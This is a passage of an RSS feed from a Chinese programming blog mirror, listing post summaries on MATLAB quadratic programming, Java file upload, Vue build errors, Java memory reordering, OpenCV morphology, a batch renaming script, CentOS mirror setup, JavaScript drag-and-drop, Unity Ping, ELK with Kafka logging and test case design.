目标函数是关于决策向量的二次函数，约束条件是线性的，则该模型称为二次规划模型，一般形式：&#xA;其中：&#xA;当H正定时，目标函数最小化时，模型为凸二次规划，凸二次规划局部最优解就是全局最优解。如果不是凸规划，则建议使用fmincon函数。&#xA;例子&#xA;目标函数是最小化，但是H为负定矩阵，所以不是凸规划。&#xA;clc,clear x = optimvar(&#39;x&#39;,2,&#39;LowerBound&#39;,0); h = [-1,-0.</description>
    </item>
    <item>
      <title>java上传超大文件解决方案</title>
      <link>https://bchobby.github.io/posts/c98095d51147430c721f3ac7fa404554/</link>
      <pubDate>Thu, 23 Jun 2022 16:03:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c98095d51147430c721f3ac7fa404554/</guid>
      <description>前言：因自己负责的项目(jetty内嵌启动的SpringMvc)中需要实现文件上传，而自己对java文件上传这一块未接触过，且对 Http 协议较模糊，故这次采用渐进的方式来学习文件上传的原理与实践。该博客重在实践。&#xA;一. Http协议原理简介 HTTP是一个属于应用层的面向对象的协议，由于其简捷、快速的方式，适用于分布式超媒体信息系统。它于1990年提出，经过几年的使用与发展，得到不断地完善和扩展。目前在WWW中使用的是HTTP/1.0的第六版，HTTP/1.1的规范化工作正在进行之中，而且HTTP-NG(Next Generation of HTTP)的建议已经提出。&#xA;简单来说，就是一个基于应用层的通信规范：双方要进行通信，大家都要遵守一个规范，这个规范就是HTTP协议。&#xA;1.特点：&#xA;(1)支持客户/服务器模式。&#xA;(2)简单快速：客户向服务器请求服务时，只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器联系的类型不同。由于HTTP协议简单，使得HTTP服务器的程序规模小，因而通信速度很快。&#xA;(3)灵活：HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。&#xA;(4)无连接：无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求，并收到客户的应答后，即断开连接。采用这种方式可以节省传输时间。&#xA;(5)无状态：HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息，则它必须重传，这样可能导致每次连接传送的数据量增大。另一方面，在服务器不需要先前信息时它的应答就较快。&#xA;注意：其中(4)(5)是面试中常用的面试题。虽然HTTP协议（应用层）是无连接，无状态的，但其所依赖的TCP协议（传输层）却是常连接、有状态的，而TCP协议（传输层）又依赖于IP协议（网络层）。&#xA;2.HTTP消息的结构&#xA;(1)Request 消息分为3部分，第一部分叫请求行， 第二部分叫http header消息头, 第三部分是body正文，header和body之间有个空行， 结构如下图&#xA;(2)Response消息的结构， 和Request消息的结构基本一样。 同样也分为三部分，第一部分叫request line状态行， 第二部分叫request header消息体，第三部分是body正文， header和body之间也有个空行， 结构如下图&#xA;下面是使用Fiddler捕捉请求baidu的Request消息机构和Response消息机构：&#xA;因为没有输入任何表单信息，故request的消息正文为空，大家可以找一个登录的页面试试看。&#xA;先到这里，HTTP协议的知识网上很丰富，在这里就不再熬述了。&#xA;二. 文件上传的三种实现&#xA;1. Jsp/servlet 实现文件上传&#xA;这是最常见也是最简单的方式&#xA;(1)实现文件上传的Jsp页面 (2)负责接文件的FileUploadServlet&#xA;import java.io.File;&#xA;import java.io.FileOutputStream;&#xA;import java.io.IOException;&#xA;import java.io.InputStream;&#xA;import javax.servlet.ServletException;&#xA;import javax.servlet.http.HttpServlet;&#xA;import javax.servlet.http.HttpServletRequest;&#xA;import javax.servlet.http.HttpServletResponse;&#xA;import org.apache.log4j.Logger;&#xA;// @WebServlet(name = &#34;FileLoadServlet&#34;, urlPatterns = {&#34;/fileload&#34;})&#xA;public class FileLoadServlet extends HttpServlet {</description>
    </item>
    <item>
      <title>Vue打包项目报错 Uncaught SyntaxError: Unexpected token ‘＜‘ 的解决方法</title>
      <link>https://bchobby.github.io/posts/a6692fc8fb62f8b51e1a82c6706b92dd/</link>
      <pubDate>Thu, 23 Jun 2022 11:24:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6692fc8fb62f8b51e1a82c6706b92dd/</guid>
      <description> 好不容易工作进入到了打包环节，却又开始报错，报错文件是一个JS文件：&#xA;JS文件打开以后是这样的&#xA;问题：应该是文件引入的问题，开始找解决方法&#xA;在网上找了一些浏览量很高的方法，试过的如下：&#xA;1、 添加externals的配置&#xA;2、 把assets文件夹下的内容放到public下&#xA;3、将引入Router的模式改为“hash”&#xA;试过了之后都无效，非常的头疼（也有可能是我设置的方式也存在问题）&#xA;最终找到了一篇文章解决，使用一行配置搞定，在vue.config.js文件中加入：&#xA;//使用路径 Uncaught SyntaxError: Unexpected token ‘＜‘ 的解决方法 publicPath: process.env.NODE_ENV === &#34;production&#34; ? &#34;./&#34; : &#34;/&#34;, 原文章地址在这里：原文章链接&#xA;2022-6-23号更新：&#xA;最近的使用中，还发现出现一种可能：引入的cdn地址已经不再使用，需要使用新的cdn地址：&#xA;新地址为：【vue.config.js文件中】&#xA;//开发环境中 js: [ &#39;//fastly.jsdelivr.net/ajax/libs/vue/2.6.14/vue.min.js&#39;, &#39;//fastly.jsdelivr.net/ajax/libs/vue-router/3.5.1/vue-router.min.js&#39;, &#39;//fastly.jsdelivr.net/ajax/libs/vuex/3.1.1/vuex.min.js&#39;, &#39;//fastly.jsdelivr.net/ajax/libs/axios/0.21.1/axios.min.js&#39; ] //生产环境中 js: [ &#39;//cdn.bootcdn.net/ajax/libs/vue-router/3.5.1/vue-router.min.js&#39;, &#39;//cdn.bootcdn.net/ajax/libs/vuex/3.1.1/vuex.min.js&#39;, &#39;//cdn.bootcdn.net/ajax/libs/axios/0.21.1/axios.min.js&#39; ] </description>
    </item>
    <item>
      <title>Java内存模型之重排序</title>
      <link>https://bchobby.github.io/posts/6c5005ffd1fc515aef9cd85e09530da2/</link>
      <pubDate>Thu, 23 Jun 2022 11:13:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c5005ffd1fc515aef9cd85e09530da2/</guid>
      <description>在执行程序时，为了提供性能，处理器和编译器常常会对指令进行重排序，但是不能随意重排序，不是你想怎么排序就怎么排序，它需要满足以下两个条件：&#xA;在单线程环境下不能改变程序运行的结果；&#xA;存在数据依赖关系的不允许重排序&#xA;如果看过LZ上篇博客的就会知道，其实这两点可以归结于一点：无法通过happens-before原则推导出来的，JMM允许任意的排序。&#xA;as-if-serial语义 as-if-serial语义的意思是，所有的操作均可以为了优化而被重排序，但是你必须要保证重排序后执行的结果不能被改变，编译器、runtime、处理器都必须遵守as-if-serial语义。注意as-if-serial只保证单线程环境，多线程环境下无效。&#xA;下面我们用一个简单的示例来说明：&#xA;int a = 1 ; //A int b = 2 ; //B int c = a + b; //C A、B、C三个操作存在如下关系：A、B不存在数据依赖关系，A和C、B和C存在数据依赖关系，因此在进行重排序的时候，A、B可以随意排序，但是必须位于C的前面，执行顺序可以是A –&amp;gt; B –&amp;gt; C或者B –&amp;gt; A –&amp;gt; C。但是无论是何种执行顺序最终的结果C总是等于3。&#xA;as-if-serail语义把单线程程序保护起来了，它可以保证在重排序的前提下程序的最终结果始终都是一致的。&#xA;其实对于上段代码，他们存在这样的happen-before关系：&#xA;A happens-before B&#xA;B happens-before C&#xA;A happens-before C&#xA;1、2是程序顺序次序规则，3是传递性。但是，不是说通过重排序，B可能会排在A之前执行么，为何还会存在存在A happens-beforeB呢？这里再次申明A happens-before B不是A一定会在B之前执行，而是A的对B可见，但是相对于这个程序A的执行结果不需要对B可见，且他们重排序后不会影响结果，所以JMM不会认为这种重排序非法。&#xA;我们需要明白这点：在不改变程序执行结果的前提下，尽可能提高程序的运行效率。&#xA;下面我们在看一段有意思的代码：&#xA;public class RecordExample1 { public static void main(String[] args){ int a = 1; int b = 2; try { a = 3; //A b = 1 / 0; //B } catch (Exception e) { } finally { System.</description>
    </item>
    <item>
      <title>java中的静态方法是什么</title>
      <link>https://bchobby.github.io/posts/7434b389aadc0d3c8f6715c86681590d/</link>
      <pubDate>Thu, 23 Jun 2022 09:49:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7434b389aadc0d3c8f6715c86681590d/</guid>
      <description> 静态方法是使用公共内存空间的，就是说所有对象都可以直接引用，不需要创建对象再使用该方法。&#xA;然后在含有main方法的类中使用这个类时，对与以上非静态和静态方法的引用方式是不同的，如下：&#xA;public class mainClass{ int sum; public static void main(String args[]){ sum=Test.a(1,2); //直接用 类.方法或者属性就可以使用该方法或属性。 System.out.print(sum); Test t=new Test(); sum=t.b(1,2); //因为b不是静态方法,只能只能用Test类创建一个t对象，然后调用该对象的方法。 System.out.print(sum); } } </description>
    </item>
    <item>
      <title>python-opencv图像处理-腐蚀和膨胀</title>
      <link>https://bchobby.github.io/posts/5d8fcc0e450f1d31421b7d8a97a177ef/</link>
      <pubDate>Thu, 23 Jun 2022 09:18:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d8fcc0e450f1d31421b7d8a97a177ef/</guid>
      <description>17.python-opencv图像处理-腐蚀和膨胀 第一章 python-opencv-图片导入和显示&#xA;第二章 python-opencv图像简单处理&#xA;第三章 python-opencv图像mask掩膜处理&#xA;第四章 python-opencv图像马赛克&#xA;第五章 python-opencv人脸马赛克&#xA;第六章 python-opencv人脸检测&#xA;第七章 python-opencv图像张贴&#xA;第八章 python-opencv轮廓绘制&#xA;第九章 python-opencv边缘检测&#xA;第十章 python-opencvpython-opencv边缘检测与人脸检测应用&#xA;第十一章 python-opencv直方图绘制与直方图均衡&#xA;第十二章 python-opencv图像傅里叶变换&#xA;第十三章 python-opencv图像的高通滤波和低通滤波&#xA;第十四章 python-opencv视频中的人脸检测&#xA;第十五章 python-opencv视频人脸检测和保存&#xA;第十六章 python-opencv使用摄像头实时人脸检测&#xA;文章目录 17.python-opencv图像处理-腐蚀和膨胀前言完整代码部分代码说明腐蚀腐蚀原理：腐蚀代码腐蚀代码定义参数说明 膨胀膨胀原理膨胀代码膨胀代码定义参数说明 结果展示腐蚀结果膨胀结果 前言 本篇博客主要介绍如何使用python-opencv对图像进行腐蚀和膨胀图像处理。&#xA;完整代码 import numpy as np import cv2 if __name__ == &#39;__main__&#39;: # 加载图片，并将图片转化为灰度图像 img = cv2.imread(&#39;./tong.jpg&#39;,flags=cv2.COLOR_BGR2GRAY) # 设置腐蚀和膨胀核 kernel = np.ones(shape=[3,3],dtype=np.uint8) # 通过shape=[3,3]可以改变处理效果 # 腐蚀，由多变少，边界容易被腐蚀,去除噪声 img1 = cv2.erode(img,kernel=kernel) # 膨胀，图像变粗 img2 = cv2.</description>
    </item>
    <item>
      <title>批量修改指定字符文件名 bat脚本</title>
      <link>https://bchobby.github.io/posts/42c6a7f66fbb04d0f6006dad989a86d2/</link>
      <pubDate>Wed, 22 Jun 2022 17:16:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42c6a7f66fbb04d0f6006dad989a86d2/</guid>
      <description>@echo off set /p str1= 请输入要替换的文件(文件夹)名字符串（可替换空格）： set /p str2= 请输入替换后的文件(文件夹)名字符串（若删除直接回车）： echo. echo 正在操作中，请稍候…… for /f &#34;delims=&#34; %%a in (&#39;dir /s /b ^|sort /+65535&#39;) do ( if &#34;%%~nxa&#34; neq &#34;%~nx0&#34; ( set &#34;file=%%a&#34; set &#34;name=%%~na&#34; set &#34;extension=%%~xa&#34; call set &#34;name=%%name:%str1%=%str2%%%&#34; setlocal enabledelayedexpansion ren &#34;!file!&#34; &#34;!name!!extension!&#34; 2&amp;gt;nul endlocal ) ) exit 直接在要修改的文件下创建.bat文件，将上面代码放到文件中即可，双击执行。&#xA;转载：https://blog.csdn.net/weixin_43042683/article/details/108453639&#xA;实测 可行。</description>
    </item>
    <item>
      <title>2022面试，Java面试项目推荐，15个项目吃透两个offer拿到手软</title>
      <link>https://bchobby.github.io/posts/84690c7c6fc9470db7bd648e883fa963/</link>
      <pubDate>Wed, 22 Jun 2022 15:19:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84690c7c6fc9470db7bd648e883fa963/</guid>
      <description>项目名称：JeeSite 项目所用技术栈：Spring、Spring MVC、MyBatis、Apache Shiro、Bootstrap UI等&#xA;项目简介：JeeSite 是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Spring MVC、Apache Shiro、MyBatis、Beetl、Bootstrap、AdminLTE）采用经典开发模式，让初学者能够更快的入门并投入到团队开发中去。在线代码生成功能，包括核心模块如：组织机构、角色用户、菜单及按钮授权、数据权限、系统参数、内容管理、工作流等。采用松耦合设计；界面无刷新，一键换肤；众多账号安全设置，密码策略；在线定时任务配置；支持集群，支持SAAS；支持多数据源；支持微服务。&#xA;由于平台限制，这里不能直接放源码链接，所以文中这15个项目源码和开发文档都给你们整理好了，转发本文+关注+私信【308】即可获取&#xA;项目名称：XMall商城 项目所用技术栈：SSM、Elasticsearch、Redis、MySQL、ActiveMQ、Shiro、Dubbo、Zookeeper、Vue.js 等&#xA;项目简介：XMall是一个基于SOA架构的分布式电商购物商城，并且前后端分离。包括如下几大模块：&#xA;后台管理系统：管理商品、订单、类目、商品规格属性、用户、权限、系统统计、系统日志以及前台内容等功能前台系统：用户可以在前台系统中进行注册、登录、浏览商品、首页、下单等操作会员系统：用户可以在该系统中查询已下的订单、管理订单、我的优惠券等信息订单系统：提供下单、查询订单、修改订单状态、定时处理订单搜索系统：提供商品的搜索功能单点登录系统：为多个系统之间提供用户登录凭证以及查询登录用户的信息 是初学者练手的不错的项目。&#xA;项目名称：Cloud-Platform 项目所用技术栈：Spring Boot、Spring Cloud全家桶、Vue.js等&#xA;项目简介：Cloud-Platform是国内首个基于Spring Cloud的微服务开发平台，具有统一授权、认证后台管理系统，其中包含具备用户管理、资源权限管理、网关API 管理等多个模块，支持多业务系统并行开发，可以作为后端服务的开发脚手架。代码简洁，架构清晰，适合学习和直接项目中使用。&#xA;项目名称：Piggy Metrics 项目所用技术栈：Spring Boot、Spring Cloud、Docker等&#xA;项目简介：Piggy Metrics是一个基于Spring Boot, Spring Cloud和Docker等技术实现的微服务脚手架，项目包含了：API网关、服务发现、负载均衡、熔断机制、配置中心、监控服务、认证服务等几大微服务项目基本模块，对学习和练手微服务项目是不错的选择。&#xA;项目名称：mall 项目所用技术栈：Spring Boot、Spring Security、MyBatis、Elasticsearch、RabbitMq、Redis、MongoDb、Docker 、Vue.js等&#xA;项目简介：mall项目是一套电商系统，包括前台商城系统及后台管理系统，基于SpringBoot+MyBatis实现，采用Docker容器化部署。前台商城系统包含首页门户、商品推荐、商品搜索、商品展示、购物车、订单流程、会员中心、客户服务、帮助中心等模块。后台管理系统包含商品管理、订单管理、会员管理、促销管理、运营管理、内容管理、统计报表、财务管理、权限管理、设置等模块。&#xA;项目名称： JeeSite 项目介绍：&#xA;这是个典型的SSM后台管理项目（不是有很多小伙伴让推荐SSM项目练手嘛），基于经典技术组合（Spring MVC、Shiro、MyBatis、Bootstrap UI等）开发，适合学习练手。&#xA;而且它作为一个典型的后台管理系统，要素基本都有，包括：组织机构、角色用户、权限授权、数据权限、内容管理、工作流等。&#xA;尤其要提的就是最后的工作流模块，它可以实现提工单、审核/审批等流程，这个在后台管理类项目里是必备的模块。&#xA;项目名称：platform-wechat-mall 项目介绍：&#xA;该项目是一个开源的微信小程序商城，虽说其项目技术栈不算特别新，后端用的也是SSM框架，但是它作为一个商城项目，要素模块基本都包含了，比如：系统后台管理、商品后台管理、移动端商城的API接口、手机移动端商城、微信小程序商城等等。&#xA;而且主要功能也非常丰富，包括：会员管理、商城配置、商品管理、推广管理、订单和系统管理等等。&#xA;秒杀类项目 项目名称：spring-boot-seckill&#xA;项目介绍：&#xA;秒杀类开源项目其实很难得，毕竟涉及高并发的一些问题嘛，这些在面试时都是能让面试官眼前一亮的东西。&#xA;这个项目与其说是一个开源项目，倒不如说是一些具体秒杀问题里面的案例集合。&#xA;秒杀系统基本设计思想无非也就是：限流、缓存、异步、分摊、主备，其实某一程度上来说就是开源+节流的思想。&#xA;所以通过它应该能学到一些比CRUD高级一些的技术，诸如：线程池、锁、分布式锁、消息队列（kafka）、缓存（redis） 等等。&#xA;支付类项目 项目名称：roncoo-pay&#xA;项目介绍：&#xA;支付系统嘛，集成了主流支付方式、支付平台等，除此之外它还有些额外的管理功能，比如对账、结算、交易订单的管理等等，所以也有后台管理的。&#xA;该项目的技术栈也是后端的主流技术，包括：Spring Boot、Shiro、MyBatis、Redis等。</description>
    </item>
    <item>
      <title>Centos8安装进入设置安装源失败问题解决</title>
      <link>https://bchobby.github.io/posts/75ae1532ce25a8e0fd98b8a30c4e7fd9/</link>
      <pubDate>Wed, 22 Jun 2022 14:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75ae1532ce25a8e0fd98b8a30c4e7fd9/</guid>
      <description>问题一 一． 安装CentOS，在本机安装双系统，如果不是双系统的跳过此步。&#xA;用UltraISO刻录CentOS镜像到U盘，在菜单中选择“启动-&amp;gt;写入硬盘映像”，再选择USB-HDD+即可。在磁盘管理中分出一块空闲的区域用于安装CentOS，至少要60G。启动的时候，选择u盘启动，在安装菜单上按”e”键，编辑安装命令，删除label=…，改为Linux dd，按ctrl+x执行命令，查看U盘所在的盘符，一般为/dev/sda4。重启计算机，编辑安装菜单，将引导改为hd:/dev/ sda4（每个计算机可能不同，设定成实际的盘符），按ctrl+x执行安装引导。选择安装工作站，对于开发系统用工作站版本，如果是服务器使用带图像的服务器版本。 问题二：安装镜像无法从本地源安装； 设置阿里源&#xA;https://mirrors.aliyun.com/centos-vault/8.4.2105/BaseOS/x86_64/os/&#xA;安装成功后换源 先把/etc/yum.repos.d/ 下的文件备份&#xA;然后执行：&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-vault-8.5.2111.repo&#xA;yum install clear&#xA;yum makecache</description>
    </item>
    <item>
      <title>js实现页面元素的拖拽</title>
      <link>https://bchobby.github.io/posts/9965abbff63af4f5dc53b7e63edd02b8/</link>
      <pubDate>Wed, 22 Jun 2022 14:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9965abbff63af4f5dc53b7e63edd02b8/</guid>
      <description>平时在我们页面上，经常会悬浮着一些功能按钮，如帮助，联系客服等，按钮的显示比较简单，用定位悬浮在自己需要的位置上就行，比如下面的页面上我们展示一个帮助的按钮，用户点击后可以展示一些帮助的信息：&#xA;代码：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34; /&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34; /&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; .help-btn { width: 50px; height: 50px; border-radius: 50%; background: blue; color: #fff; position: fixed; display: flex; align-items: center; justify-content: center; cursor: pointer; right: 0; bottom: 150px; } &amp;lt;/style&amp;gt; &amp;lt;title&amp;gt;js实现拖拽&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;help-btn&#34; id=&#34;help-btn&#34;&amp;gt;帮助&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 但是这样定位一般是固定在这个位置，如果这时候刚好【帮助按钮】挡住了这个位置原本有的其他操作按钮，那么我们就需要能够把【帮助按钮】拖开，不影响原本页面上的操作。&#xA;一般实现拖动的思路是：在【帮助按钮】上鼠标按下时，记录下当前的坐标，以及原本相对于父元素的位置，然后监听【帮助按钮】的鼠标移动事件【onmousemove】，然后取现在的坐标，计算出两轴上移动的距离，用原本的位置减去移动的位置得到现在的位置，再重新设置给【帮助按钮】即可。最后在【帮助按钮】鼠标抬起事件【onmouseup】上注销对鼠标移动的监听即可。&#xA;代码：&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; let btnEle = document.getElementById(&#34;help-btn&#34;); //帮助按钮鼠标按下时 btnEle.onmousedown = (e) =&amp;gt; { let defaultX = e.</description>
    </item>
    <item>
      <title>Unity的Ping类使用</title>
      <link>https://bchobby.github.io/posts/209d2befded6b016dbb99680eb8f44da/</link>
      <pubDate>Wed, 22 Jun 2022 11:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/209d2befded6b016dbb99680eb8f44da/</guid>
      <description>1.目的 1.1 准备ping网络，查看是否能够ping通，ping通代表网络链接正常 2.参考 2.1 Unity 之 Ping类简析&amp;amp;尝试使用_陈言必行的博客-CSDN博客&#xA;3.注意 3.1 发现不怎么好用， 明明能够ping通，却显示ping不通里面没有变量显示 是否ping的通，ping_zhuJi.time=-1 ms ，实际上电脑可以ping通， 代码如下&#xA;ping_zhuJi.time主要以这个和0比较判断是否链接上 using System.Collections; using System.Collections.Generic; using UnityEngine; /// &amp;lt;summary&amp;gt; /// 【Function:ping网络】【Time:2022 06 20】【Author:XZY】 /// &amp;lt;/summary&amp;gt; public class PingNet : MonoBehaviour { /// &amp;lt;summary&amp;gt;主机的ip，目的为了ping它是否通&amp;lt;/summary&amp;gt; [HideInInspector] //public string ip_zhuJi = &#34;192.168.1.111&#34;; public string ip_zhuJi = &#34;&#34;; /// &amp;lt;summary&amp;gt;Ping对象：主机的&amp;lt;/summary&amp;gt; Ping ping_zhuJi=null; /// &amp;lt;summary&amp;gt;Ping对象：后台的&amp;lt;/summary&amp;gt; Ping ping_server; /// &amp;lt;summary&amp;gt;协程：检测是否长时间没有ping通，如果是代表ping不通&amp;lt;/summary&amp;gt; private Coroutine coroutine_isPingSuccess=null; /// &amp;lt;summary&amp;gt;ping一次的时间&amp;lt;/summary&amp;gt; private float waitForSeconds_IE_isPingSuccess = 5; /// &amp;lt;summary&amp;gt;ping失败的次数,与协程waitForSeconds_IE_isPingSuccess有关系&amp;lt;/summary&amp;gt; private int numPingFail = 0; /// &amp;lt;summary&amp;gt;ping失败多少次为失败&amp;lt;/summary&amp;gt; private int totalPingFail = 3; public static PingNet instance = null; //public int NumPingFail { get =&amp;gt; numPingFail; set =&amp;gt; numPingFail = value; } private void Awake() { if (instance == null) { instance = this; } } private void Start() { //coroutine_isPingSuccess = StartCoroutine(IE_isPingSuccess()); //StartCoroutine(IE_GetIp_zhuJi()); //StartCoroutine(IE_StartPing()); } //IEnumerator IE_GetIp_zhuJi() //{ // yield return new WaitForSeconds(5); // string _ip = SmartPlayerAndroidMono.</description>
    </item>
    <item>
      <title>Topaz DeNoise AI for Mac(AI智能图像降噪工具)</title>
      <link>https://bchobby.github.io/posts/8e5323e9d09255008c36f37b520dec1a/</link>
      <pubDate>Wed, 22 Jun 2022 09:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e5323e9d09255008c36f37b520dec1a/</guid>
      <description>Topaz DeNoise AI for Mac是最好用的AI智能图像降噪工具，DeNoise AI通过消除噪点的同时恢复原始图像细节，帮助您获得100％的最佳质量。&#xA;Topaz DeNoise AI for Mac(AI智能图像降噪工具)</description>
    </item>
    <item>
      <title>02.分布式日志采集ELK&#43;Kafka</title>
      <link>https://bchobby.github.io/posts/9893192ad83213d9dc34d623afc06b09/</link>
      <pubDate>Tue, 21 Jun 2022 22:25:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9893192ad83213d9dc34d623afc06b09/</guid>
      <description>课程标题:&amp;lt;基于ELK+Kafka构建分布式日志采集系统&amp;gt;&#xA;1.传统日志采集存在哪些缺点&#xA;2.elk+kafka日志采集的原理&#xA;3.基于docker compose 安装elk+kafka环境&#xA;4.基于AOP+并发队列实现日志的采集&#xA;20点25分准时开始&#xA;分布式日志采集产生背景 在传统项目中，如果在生产环境中，有多台不同的服务器集群，如果生产环境需要通过日志定位项目的Bug的话，需要在每台节点上使用传统的命令方式查询，这样效率非常低下。&#xA;因此我们需要集中化的管理日志，ELK则应运而生。&#xA;传统方式服务器搜索日志命令：tail -200f 日志文件名称&#xA;ELK+Kafka组成 Elk E= ElasticSeach（存储日志信息）&#xA;l Logstash(搬运工)&#xA;K Kibana连接到我们ElasticSeach图形化界面查询日志&#xA;Elk+kafka实现分布式日志采集&#xA;为什么需要将日志存储在ElasticSeach 而不是MySQL中呢&#xA;ElasticSeach 底层使用到倒排索引存储数据 ，在 搜索日志效率比mysql要高的。&#xA;elk+kafka原理 \1. springboot项目会基于aop的方式拦截系统中日志&#xA;请求与响应日志信息—前置或者环绕通知；&#xA;\2. 将该日志投递到我们kafka中 注意该过程一定要是异步的形式，如果是同步形式会影响到整体&#xA;接口的响应速度。&#xA;\3. Logstash 数据源—kafka 订阅kafka的主题 获取日志消息内容&#xA;\4. Logstash 在将日志消息内容输出到es中存放&#xA;5.开发者使用Kibana连接到ElasticSeach 查询存储日志内容。&#xA;为什么ELK需要结合Kafka 如果只整合elk 不结合kafka这样的话 每个服务器节点上都会安装Logstash做读写日志IO操作，可能性能不是很好，而且比较冗余。&#xA;ELK+Kafka环境构建 docker compose构建ELK+Kafka环境 整个环境采用 docker compose 来实现构建&#xA;注意：环境 cpu 多核 内存 4GB以上&#xA;kafka环境的安装：&#xA;1.使用docker compose 安装 kafka&#xA;对docker compose 不熟悉可以查看：http://www.</description>
    </item>
    <item>
      <title>断点 调试</title>
      <link>https://bchobby.github.io/posts/4d047e4ccfdb43262cfc5b65a2ed565c/</link>
      <pubDate>Tue, 21 Jun 2022 21:27:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d047e4ccfdb43262cfc5b65a2ed565c/</guid>
      <description>断点调试:&#xA;断点调试是指自己在程序的某一行设置一个断点 ，调试时，程序运行到这一行就会停住 ，然后你可以一步一步往下调试，调试过程中可以看各个变量当前的值，出错的话，调试到出错的代码行即显示错误，停下。&#xA;断点调试可以帮我们观察程序的运行过程&#xA;浏览器中按F12–&amp;gt; sources --&amp;gt;找到需要调试的文件–&amp;gt;在程序的某行设置断点&#xA;Watch:监视，通过watch可以监视变量的值的变化，非常的常用。&#xA;F11:程序单步执行,让程序一行一行的执行，这个时候，观察watch中变量的值的变化。&#xA;for 循环&#xA;&amp;lt;script&amp;gt; // for 循环的执行过程 for (var i=1;i&amp;lt;=100;i++) { console .1og(&#39;你好吗&#39; )； ｝ // 1.首先执行里面的计数器变量var i = 1 ，但是这句话在for 里面只执行一次 index // 2.去i &amp;lt;= 100 来判断是否满足条件，如果满足条件就去执行循环体，不满足条件退出循环 // 3.最后去执行i++ ，i++是单独写的代码递增第一轮结束 // 4.接着去执行i &amp;lt;= 100 如果满足条件 就去执行循环体 不满足条件退出循环 第二轮 &amp;lt;/ script&amp;gt; &amp;lt;script&amp;gt; //for循环可以执行相同的代码 for (var i=1;i&amp;lt;=10;i++){ console .1og(以你的心诠释我的爱); } //我们可以让用户控制输出的次数 var num = prompt( 请您输入次数）； for (var i=1;i&amp;lt;=num;i++){ console. log(以你的心诠释我的爱&#39;); } &amp;lt;/ script&amp;gt; 2.</description>
    </item>
    <item>
      <title>常用测试用例设计方法之正交实验法详解</title>
      <link>https://bchobby.github.io/posts/458ce26ee6729d9898bf9d3be2ab6a28/</link>
      <pubDate>Tue, 21 Jun 2022 20:00:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/458ce26ee6729d9898bf9d3be2ab6a28/</guid>
      <description>正交试验法 正交试验设计法，是从大量的试验点中挑选出适量的、有代表性的点，应用依据迦罗瓦理论导出的“正交表”，合理安排试验的一种科学的试验设计方法。&#xA;因子/因素：所有影响试验指标的条件。&#xA;水平/状态：而影响试验因子的，叫做因子的状态。&#xA;正交表的构成 行数(Runs)：正交表中的行的个数，即试验的次数。&#xA;因素数(Factors)：正交表中列的个数。&#xA;水平数(Levels)：任何单个因素能够取得的值的最大个数。正交表中的包含的值为从0到数“水平数-1”或从1到“水平数”。&#xA;正交表的表示形式 L行数(水平数因素数)：&#xA;正交表的特点 完成试验要求所需的实验次数少&#xA;数据点的分布具有整齐可比性&#xA;数据点的分布具有均衡分散性&#xA;常见的正交表 各列水平均为2的常用正交表有：L4（23）、L8（27）、L12（211）、L16（215）、L20（219）、L32（231）。&#xA;各列水平数均为3的常用正交表有：L9（34）、L27（313）。&#xA;各列水平数均为4的常用正交表有：L16（45）。&#xA;各列水平数均为5的常用正交表有：L25（56）。&#xA;设计测试用例步骤 有哪些因素（变量）；&#xA;每个因素有哪几个水平（变量的取值）；&#xA;选择一个合适的正交表；&#xA;把变量的值映射到表中；&#xA;把每一行的各因素水平的组合作为一个测试用例。&#xA;正交试验法 假设一个WEB站点，对该系统进行兼容性测试。该站点有大量的服务器和操作系统，并且有许多具有各种插件的浏览器浏览。&#xA;WEB浏览器：Chrome48、IE9.0、firefox35；&#xA;插件：无、RealPlayer、MediaPlayer；&#xA;应用服务器：IIS、Apache、NetscapeEnterprise；&#xA;操作系统：Windows2008、Windows7、Linux。&#xA;PPT打印功能 测试PPT的打印功能：&#xA;喜欢软件测试的小伙伴们，如果我的博客对你有帮助、如果你喜欢我的博客内容，请 “点赞” “评论” “收藏” 一键三连哦！</description>
    </item>
    <item>
      <title>UnityWebRequest如何发送Json数据格式的Post请求，为什么使用UnityWebRequest.Post会报错？</title>
      <link>https://bchobby.github.io/posts/5195ef6817ffc4bb9ec8f58df777735c/</link>
      <pubDate>Tue, 21 Jun 2022 16:57:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5195ef6817ffc4bb9ec8f58df777735c/</guid>
